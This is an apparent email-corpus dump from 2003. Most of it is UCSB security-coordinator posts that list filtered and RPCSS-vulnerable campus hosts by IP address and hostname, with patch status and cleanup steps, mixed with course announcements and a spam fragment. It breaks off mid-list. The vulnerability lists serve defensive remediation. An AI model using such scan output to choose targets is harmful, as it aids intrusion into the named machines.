[KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.96 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.123 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.201 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 58 RPCSS Vulnerable ............................. 129 DCOM Disabled ................................ 70 Not Vulnerable ............................... 3409 Errors ....................................... 13 TCP Port 135 Closed or Host Timeout .......... 61915 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Thu, 09 Oct 2003 13:36:23 -0500",pair programming paper," CS352h-ers, If you didn't get a copy of the paper on pair programming - stop by Gem's office (ACES 3.422) to get one. It's an easy read that has some helpful hints for making the pair programming work. We can talk about these some the week after next. As a reminder, I am out of town M-Th next week (conference in California) so I will not be holding office hours. Jenn Sartor and Bill Mark will be lecturing on memory systems. Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Thu, 09 Oct 2003 13:29:13 -0500",verilog," CS352h-ers, I just posted today's lecture notes along with the example multiplier I went over in class. I also posted 3 additional implementations of the multiplier (total of 4): mult.v - from class today mult_assign.v - same structure, but uses the assign statement instead of the always statement to implement the combination logic mult_behav.v - more abstract by getting rid of explicity flip-flop declarations. It basically embeds the flip-flop behavior in with the combinational logic. However, there are a few timing trickes required to make these work. The style of mult.v and mult_behav.v is probably better. mult_ultra.v - uses the operator ""*"" and is purely combinational (no flip-flops). Here we have lost control over the actual implementation of the multiplier. If we were to synthesize this using CAD tools to automatically map it logic gates, we would be relying on the synthesis tool to select a good multipler implementation. Finally - go ahead and play around with mult.s - you can add more tests, test additional operand values, etc. Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Thu, 09 Oct 2003 17:06:30 -0500",one more thing," Please note that you also have a reading assignment for next week: P&H 7.1-7.3 on caching It's only 30 pages or so - no big deal. Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Thu, 09 Oct 2003 17:17:04 -0500",Dean's scholars program," CS352H-ers, In my next message you will find a copy of the flyer for the Dean's Scholars Info Sessions that I mentioned in class today. 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Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <297340000.1065819594@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked and RPCSS Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1A84Mg-000E5g-Lp*JF1GdXzfUnM* Hello, These lists are being periodically sent out due to the large number of hosts that are either compromised or infected with one of the Microsoft Windows based worms, as well as those that are vulnerable according to a daily scan which I am conducting. There is also a summary so that we can all track the progress of reducing UCSB's exposure to this vulnerability. Here is what you need to do if your host is in the list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Filtered Hosts *** 128.111.9.203 128.111.9.230 dhcp230.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu 128.111.20.208 dhcp20-208.wirelesstest.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.29.25 meppc6.engr.ucsb.edu 128.111.29.26 128.111.29.39 128.111.29.55 camp.engr.ucsb.edu 128.111.29.157 poseidon.ece.ucsb.edu 128.111.29.159 roscoe2.ece.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.44.150 128.111.57.16 pilon.ece.ucsb.edu 128.111.58.215 srpan.ece.ucsb.edu 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.77.82 theomac.crss.ucsb.edu 128.111.77.107 das.crss.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.92.216 128.111.96.40 coll02.alexandria.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.103.49 128.111.103.50 128.111.103.51 128.111.103.55 128.111.104.155 euphrates.geog.ucsb.edu 128.111.104.172 keyhole.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.27 telarc.geog.ucsb.edu 128.111.106.101 olympia.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.164 host108-164.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.138.160 128.111.138.171 128.111.138.174 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.166.152 dhcp152.authnet.ucsb.edu 128.111.206.72 128.111.207.81 128.111.220.126 dhcp126.nceas.ucsb.edu 128.111.225.72 lim.econ.ucsb.edu 128.111.229.220 128.111.234.43 ppp3.ncgia.ucsb.edu 128.111.234.55 erebus.ncgia.ucsb.edu 128.111.234.85 vital5.geog.ucsb.edu 128.111.234.239 sylvey.geog.ucsb.edu 128.111.236.73 dhcp-73.crustal.ucsb.edu 128.111.247.62 128.111.247.63 *** Unpatched hosts *** 128.111.9.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.103 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.148 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.149 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.151 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.152 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.153 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.189 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.30.190 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.30.191 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.30.216 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.32.15 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.55 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.114 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.224 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.165 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.34.127 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.153 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.162 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.246 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.254 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.93 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.148 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.38.187 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.201 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.209 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.227 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.238 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.111 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.156 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.169 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.171 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.186 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.214 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.57.22 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.71.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.110 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.47 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.73.76 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.87 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.199 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.138 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.162 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.16 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.79.11 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.180 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.92.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.102.8 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.103.24 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.103.26 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.55 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.104.156 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.160 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.132.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.158.17 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.166.158 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.166.179 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.168.35 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.180.70 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.182 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.199 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.203 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.231 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.104 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.133 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.195 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.226 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.102 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.184.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.57 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.33 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.196.203 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.196.221 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.189 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.225 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.198.206 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.209.87 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.219.34 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.162 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.7 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.250 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.254 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.96 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.123 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.201 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 61 RPCSS Vulnerable ............................. 117 DCOM Disabled ................................ 62 Not Vulnerable ............................... 3435 Errors ....................................... 15 TCP Port 135 Closed or Host Timeout .......... 61907 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 bedebtfree2004@yahoo.com,ncorp@slavecamp.nwo,"Fri, 10 Oct 2003 20:22:29 +0000",Overdue Account,"Hi there, My name is Donna Walsh and I know what its like to have a lot of credit card debt. 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Savimbi. _______________________________________________________________________ Brought to you by i2828.com :: The best interactive online community ",1,0 ,,,,"(8.9.1/8.9.1) with ESMTP id OAA00693 for ; Tue, 14 Oct 2003 14:32:50 -0700 (PDT) Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id OAA32543 for ; Tue, 14 Oct 2003 14:32:50 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1A9Wmf-000Go3-Jo; Tue, 14 Oct 2003 14:32:49 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1A9Wmc-000Gnq-R0; Tue, 14 Oct 2003 14:32:46 -0700 Received: from security3.oit.ucsb.edu ([128.111.12.28]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 1A9Wmc-000Gnm-LC; Tue, 14 Oct 2003 14:32:46 -0700 Date: Tue, 14 Oct 2003 14:32:46 -0700 From: E. Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <138980000.1066167166@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked and RPCSS Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1A9Wmf-000Go3-Jo*vpTSLTj8Qus* Hello, These lists are being periodically sent out due to the large number of hosts that are either compromised or infected with one of the Microsoft Windows based worms, as well as those that are vulnerable according to a daily scan which I am conducting. There is also a summary so that we can all track the progress of reducing UCSB's exposure to this vulnerability. Here is what you need to do if your host is in the list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Filtered Hosts *** 128.111.9.203 128.111.9.230 dhcp230.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu 128.111.20.208 dhcp20-208.wirelesstest.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.29.25 meppc6.engr.ucsb.edu 128.111.29.26 128.111.29.39 128.111.32.212 A32212.resnet.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.44.150 128.111.58.215 srpan.ece.ucsb.edu 128.111.74.85 davidmac.materials.ucsb.edu 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.77.82 theomac.crss.ucsb.edu 128.111.77.107 das.crss.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.83.11 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.92.216 128.111.96.40 coll02.alexandria.ucsb.edu 128.111.96.132 128.111.103.21 otter.opl.ucsb.edu 128.111.103.49 128.111.103.50 128.111.103.51 128.111.103.55 128.111.104.155 euphrates.geog.ucsb.edu 128.111.104.172 keyhole.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.27 telarc.geog.ucsb.edu 128.111.106.101 olympia.geog.ucsb.edu 128.111.106.243 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.164 host108-164.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.138.160 128.111.138.171 128.111.138.174 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.166.152 dhcp152.authnet.ucsb.edu 128.111.229.220 128.111.234.239 sylvey.geog.ucsb.edu 128.111.236.73 dhcp-73.crustal.ucsb.edu 128.111.247.62 128.111.247.63 *** Unpatched hosts *** 128.111.19.80 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.103 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.117 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.148 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.149 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.151 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.152 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.153 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.189 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.30.190 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.30.191 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.30.216 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.32.15 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.48 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.55 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.114 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.152 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.224 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.165 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.34.127 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.25 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.162 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.93 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.192 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.148 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.38.187 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.201 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.238 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.111 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.169 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.171 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.172 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.186 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.208 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.214 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.94 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.186 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.47 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.73.199 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.217 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.128 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.138 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.162 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.171 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.217 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.251 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.16 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.79.11 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.92.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.95.84 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.102.8 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.104.55 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.104.156 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.160 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.147.3 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.202 RPCSS Vulnerable - 